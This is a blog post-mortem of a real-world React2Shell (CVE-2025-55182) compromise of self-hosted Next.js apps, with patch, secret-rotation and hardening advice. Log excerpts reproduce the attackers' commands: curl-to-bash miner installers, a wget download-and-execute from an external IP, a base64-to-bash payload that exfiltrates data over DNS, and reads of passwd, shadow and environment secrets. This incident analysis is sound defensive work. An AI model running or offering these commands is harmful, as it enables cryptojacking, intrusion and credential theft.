Optimized for Dark Mode

The website is optimized for dark mode to enhance your user experience. Switch to dark mode to enjoy it.

CVE-2025-55182 (React2Shell) - Real-World Attack Analysis

My unpatched Next.js instances got hit by the React2Shell exploit within hours. Here's a complete breakdown of what happened, what the attackers tried and succeeded at, and why you must patch and rotate secrets immediately.


Table of Contents

React2Shell security vulnerability illustration
Created with Nano Banana Pro

tl;dr

  • The Incident: My self-hosted Next.js app was hit by the React2Shell exploit. To verify, I deployed a fresh, kind of intentionally vulnerable test instance on a different domain. It was compromised within ~2 hours.
  • The Breach: Attackers successfully dumped all environment variables (DB credentials, API keys) and enumerated the filesystem users.
  • The Hardening: My container hardening (read-only FS, non-root user) successfully blocked their attempts to install XMRig miners, but it did NOT prevent the data breach.
  • The Response: Vercel protected their platform with early WAF rules, but self-hosted instances are being mass-scanned.
  • Immediate Action: If your app was online after 4th Dec, assume compromise. Run npx fix-react2shell-next and rotate all secrets immediately.

What Is React2Shell (CVE-2025-55182 / CVE-2025-66478)?

CVE-2025-55182 is a pre-authentication remote code execution vulnerability in React Server Components (RSC) affecting React 19 and any framework that embeds its RSC implementation.

From the official description:

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack.
The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

Technical root cause: CWE-502 – Deserialization of Untrusted Data. RSC Server Functions accepted payloads that were deserialized in a way that allowed arbitrary code execution under certain conditions.

Deep Dive:
I won't attempt to explain the mechanics. For the definitive breakdown of how the exploit actually works, read Vercel CEO Guillermo Rauch's technical writeup.

CVSS and Exploitation Status

Affected Software

The affected Frameworks and Packages can be found on:

and summarized here:

  • React 19

    • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js

    • Next.js 15.x
    • Next.js 16.x
    • Next.js 14.3.0-canary.77 and later canary releases
  • Other frameworks and bundlers

    • Any that embed the vulnerable RSC implementation (e.g. Vite plugins, Parcel integrations, React Router RSC, Redwood, Waku, etc.)

Fixed Versions (React & Next.js)

From Vercel's changelog: Summary of CVE-2025-55182

  • React: 19.0.1, 19.1.2, 19.2.1
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
    (14.x canaries should be downgraded to the latest stable 14.x release or canary.76)

React's and Vercel's Response for Handling this CVE

Before we go into my self-hosted disaster, credit where it's due: React's and Vercel's response to React2Shell has been excellent. The turn around time from disclosure on the 29th until the release of the patched npm package on the 3rd of December was very fast. This package contains the official fix for the vulnerability—if you update to this version, you are protected against React2Shell.

What Vercel Did

  • WAF Protection before public PoCs: They worked with the React team to design WAF rules and deployed them globally on the Vercel WAF before exploits were widely published, protecting all hosted projects by default. The WAFs are however just a first line of defense, patching is still mandatory.
  • Clear and fast communications:
Vercel E-Mail Notification.
Vercel E-Mail Notification.
  • Tooling to make patching trivial:

    npx fix-react2shell-next

    Even though the fix is trivial, this automatically bumps your next dependency to the correct patched version.

  • Bug bounty for WAF bypasses: They explicitly encouraged researchers to look for bypasses of their platform protections, with $25k–$50k bounties via HackerOne for this CVE specifically -> Twitter.

  • Deployment safeguards: Blocking new deployments of known vulnerable versions on their platform.

BSI Classification: 3 / Orange – Really Only Orange?

The German BSI (Bundesamt für Sicherheit in der Informationstechnik) also published a bulletin on this vulnerability:

BSI bulletin showing React Server Components vulnerability classified as 3 / Orange

BSI bulletin: React Server Components vulnerability classified as Kritikalität 3 / Orange.

In the BSI scale (BITS-H Nr. 2025‑304569‑1132), React2Shell is rated: Kritikalität: 3 / Orange

With the description:

3 / Orange – Maßnahmen müssen unverzüglich ergriffen werden. Massive Beeinträchtigung des Regelbetriebs möglich.
(Measures must be taken without delay. Massive impairment of normal operations is possible.)

At the same time, we are looking at:

  • CNA CVSS score 10.0 / CRITICAL
  • Pre-authentication RCE
  • Public PoCs available
  • Documented mass exploitation in the wild (e.g. AWS blog on China-nexus groups)
  • My own experience: two separate instances compromised, one within 2 hours of deployment
  • Easy scanning of applications vulnerable to this issue

Given that, a 3 / Orange rating feels, at least in my view, somewhat low for unpatched, internet-facing systems.

Brief Log4Shell Note

BSI initially classified Log4Shell as 4 / Red and later downgraded it once patches were widely deployed. Technically, unpatched React2Shell systems have very similar risk characteristics (pre-auth RCE, simple exploitation, full compromise). Patches for React2Shell are available now, but many systems remain unpatched.

So while the overall, ecosystem-wide rating may be Orange, I would personally treat any unpatched React2Shell deployment as a de facto Red situation and remediate accordingly

How I Got Hit: Forgotten App

Now to the hands-on part: what actually happened on my infrastructure.

The Forgotten Self-Hosted Next.js App

I had an old Next.js application still running on a Coolify-managed server. It wasn't on Vercel. It wasn't in my active mental model. It just quietly did its thing...

The logs show attack traffic starting shortly after the public exploits appeared. Eventually, the signs of exploitation appeared: environment variable dumps, file system enumeration, and cryptominer installation attempts.

Phase 1: Reconnaissance and Fingerprinting

The attacks began with systematic probing that manifested in the logs as odd JavaScript/Next.js errors:

TypeError: Cannot read properties of undefined (reading 'aa')
TypeError: Cannot read properties of undefined (reading 'x')
TypeError: Cannot read properties of undefined (reading 'v')
TypeError: Cannot read properties of undefined (reading 'i')

These are not random crashes. They are the footprints of probably automated scanners testing if your server accepts and attempts to deserialize malicious RSC payloads. Once confirmed, the real attack begins.

Phase 2: The Attack (Part 1) - Failed Miner Installation

Once RCE was confirmed, the attackers immediately tried to deploy XMRig Monero miners. They threw everything they had at the server, but this is where my container hardening kicked in.

Vector A: Curl/Bash Pipes

curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh \
  | bash -s 44VvV...

My container answered:

/bin/sh: curl: not found
/bin/sh: bash: not found

(No curl, no bash in the Alpine image → script fails.)

The also tried using various alternative URLs and scripts:

curl -s -L https://tmpfiles.org/dl/.../new1-xmr.sh | bash -s 44VvV...
curl -s -L https://raw.githubusercontent.com/.../.../refs/heads/main/dc-info.sh | bash -s 44VvV...

with the same result.

Vector B: Binary Delivery via wget

After curl + bash kept failing, they tried wget approach:

wget -O ./ttt123 http://3.___.__.___:8000/tcp_linux_amd64
chmod 777 ttt123
./ttt123

The logs:

Connecting to 3.___.__.___:8000
wget: can't open './ttt123': Permission denied
chmod: ttt123: No such file or directory
/bin/sh: ./ttt123: not found

So what succeeded, and what failed?

  • Yes, the connection to 3.___.__.___:8000 was successfully established.
  • No, the file was not written to disk, because:
    • The container's root filesystem was mounted read-only for the running user.
    • The current working directory did not allow writes.
    • However, in some subdirectories the attacker might have been able to write files. The luck was on my side.

Vector C: Obfuscated Payloads

The most sophisticated part of the campaign was the obfuscated payloads, especially the base64‑encoded ones. This could be to evade WAFs:

ping -c 2 `echo IyEvYmluL2Jh... | base64 -d | bash`.0q...qw4.requestrepo.com

This performs three things at once:

  1. Decodes a large base64 blob.
  2. Pipes it into bash for execution (if present).
  3. Wraps the command output in a subdomain used in a ping command to *.requestrepo.com, effectively exfiltrating data over DNS.

Decoding the payload reveals a full XMRig+systemd installation script (shown in detail earlier), with:

  • Official XMRig binary downloads from GitHub.
  • TLS fingerprinting for pool.hashvault.pro:443.
  • system-updates-service systemd unit for persistence.
  • Fallback to nohup if systemd is unavailable.

They also attempted various web shell styles:

⨯ [Error: WEBSHELL_INJECTED] { digest: '...' }
⨯ [Error: NEXT_REDIRECT] { digest: 'memshell_injected_at_/shellxxxx111s' }

Phase 3: The Attack (Part 2) - Successful Data Breach

Here is the scary part. Because the miners failed, I didn't see high CPU usage. I didn't see crashed services. But the attackers were already inside.

After establishing code execution, the attackers began mapping the system:

User Accounts and Privileges

⨯ [Error: x] {
  digest: 'root:x:0:0:root:/root:/bin/sh\n' +
    'bin:x:1:1:bin:/bin:/sbin/nologin\n' +
    'daemon:x:2:2:daemon:/sbin:/sbin/nologin\n' +
    '...\n' +
    'node:x:1000:1000::/home/node:/bin/sh\n' +
    'nextjs:x:1001:65533::/home/nextjs:/sbin/nologin\n'
}

And attempted to access /etc/shadow:

⨯ [Error: EACCES: permission denied, open '/etc/shadow'] {
  errno: -13,
  syscall: 'open',
  code: 'EACCES',
  path: '/etc/shadow',
  digest: '2126189415'
}

Looking at the filesystem structure:

⨯ [Error: NEXT_REDIRECT] {
  digest: 'total 52\n' +
    'drwxr-xr-x    1 root     root          4096 Dec  8 12:49 .\n' +
    'drwxr-xr-x    1 root     root          4096 Dec  8 12:49 ..\n' +
    'drwxr-xr-x    1 nextjs   nodejs        4096 Dec  8 13:56 .next\n' +
    'drwxr-xr-x   26 nextjs   nodejs        4096 Dec  8 12:49 node_modules\n' +
    '-rw-r--r--    1 nextjs   nodejs        1787 Dec  8 12:49 package.json\n' +
    'drwxr-xr-x    2 nextjs   nodejs        4096 Dec  8 12:49 prisma\n' +
    'drwxr-xr-x    2 root     root          4096 Dec  8 12:45 public\n' +
    '-rw-r--r--    1 nextjs   nodejs        6042 Dec  8 12:49 server.js\n' +
    'drwxr-xr-x    3 nextjs   nodejs        4096 Dec  8 12:49 src\n'
}

and lastly examining the Prisma schema, after that they pivoted to dumping the environment.

⨯ [Error: x] {
  digest: 'REVALIDATE_SECRET_KEY=YEPMYSECRETS\x00DATABASE_URL=postgres://postgres:DUMPED@TOTHEATTACKER:5432/postgres\x00NODE_VERSION=18.20.8\x00HOSTNAME=0.0.0.0\x00NEXTAUTH_SECRET=GREAT\x00YARN_VERSION=1.22.22\x00...'
}

This included:

  • DATABASE_URL (Postgres credentials and host)
  • NEXTAUTH_SECRET
  • GitHub OAuth credentials (AUTH_GITHUB_ID and AUTH_GITHUB_SECRET)
  • UPLOADTHING_TOKEN
  • Internal revalidation keys
  • Various Coolify, deployment, and runtime metadata

Container hardening prevented persistence and resource abuse, but it did not prevent the data breach.

If you had an unpatched app exposed after Dec 4, assume the same happened to you and rotate everything.

Vercel's bulletin explicitly recommends this as well:

“If your application was online and unpatched as of December 4th, 2025 at 1:00 PM PT, we strongly encourage you to rotate any secrets it uses.”
React2Shell bulletin

The Verification: Compromised in ~2 Hours

A bit unintentionally, I was able to verify the speed and scale of the attacks. I deployed a fresh vulnerable Next.js 15.3.0 instance on a completely different domain.

The timeline was terrifyingly short:

2025-12-08 11:57:39 UTC - Next.js 15.3.0 instance deployed
2025-12-08 11:57:40 UTC - Server ready
2025-12-08 12:49:00 UTC - Container build completed
2025-12-08 13:56:00 UTC - First exploit traffic logged

Result: Less than 2 hours from "Server Ready" to "Compromised". This confirms that attackers are not just targeting high-value domains but are scanning actively for any vulnerable instance.

What Saved Me – And What Didn't

What Worked

  1. Minimal Base Image (Alpine)
    • No bash
    • No curl
  2. Non-Root User
    • UID 1001 nextjs, no direct system-level privileges
  3. Read-Only Filesystem
    • Prevented miner binaries from being written and executed
  4. File Permissions
    • /etc/shadow and /root were protected

What Did Not Protect Me

  • Environment variables were fully compromised.
  • Application internals (Prisma schema, directory structure) were exposed.
  • A determined attacker could likely have used the DB connection string to pivot into the database directly, even if the miner itself never ran.
  • Some writable directories may have allowed file writes and further exploitation.

Container hardening prevented persistence and resource abuse, but it did not prevent the breach. That's an important distinction.

Mitigation: What You Must Do Right Now

1. Check Your Versions

npm list next react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# or
yarn list next react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack

and if you are affected

2. Upgrade Immediately

Easiest: Vercel's Fix Script

npx fix-react2shell-next

Then redeploy.

Manual

Update to the patched version that matches your minor:

Vulnerable rangePatched version
Next.js 15.0.x15.0.5
Next.js 15.1.x15.1.9
Next.js 15.2.x15.2.6
Next.js 15.3.x15.3.6
Next.js 15.4.x15.4.8
Next.js 15.5.x15.5.7
Next.js 16.0.x16.0.7
14.3.0‑canary.77+downgrade to 14.3.0‑canary.76
15 canaries < 15.6.0‑c5815.6.0‑canary.58
16 canaries < 16.1.0‑c1216.1.0‑canary.12 or later

Table from Vercel Bulletin.

// package.json
{
  "dependencies": {
    "next": "15.3.6"
  }
}

Then:

npm install    # or yarn / pnpm / bun

3. Rotate All Secrets

Assume that any vulnerable instance online after 2025‑12‑04 is compromised, exactly as Vercel's bulletin recommends.

The attacks remain ongoing

Even after patching, the attacks continue. My server logs show persistent attempts to exploit the vulnerability using old Server Action IDs:

2025-12-09T14:29:19Z Error: Failed to find Server Action "x". 
                     This request might be from an older or newer deployment.
 
2025-12-09T16:36:40Z Error: Failed to find Server Action "448a2b31". 
                     This request might be from an older or newer deployment.
 
2025-12-09T19:49:23Z Error: Failed to find Server Action "x". 
                     This request might be from an older or newer deployment.
# ... repeated dozens of times throughout the day

The attackers are using both generic action IDs ("x") for broad scanning and specific hashes ("448a2b31") likely harvested from previously compromised instances. If you see similar errors in your logs, your patched server is successfully rejecting these exploit attempts. However, this also confirms that if you were running an unpatched version, these same requests would have achieved code execution. So you were probably exploited before.

Hardening Going Forward

Container Best Practices

  • Use minimal/distroless images.
  • Run as non-root.
  • Mount root filesystem read-only.
  • Isolate writable temp dirs.
  • Restrict egress network traffic where possible.

The default Next.js Docker image is alot better compared to using Nixpack

Credits and Further Reading

Major credit goes to:

  • Lachlan Davidson for discovering and responsibly reporting the vulnerability:
    GitHub: https://github.com/lachlan2k
  • The React / Meta Security team and Vercel Security for their fast and transparent handling.

Useful links:

Until then: patch, rotate, harden – and don't forget about your old apps.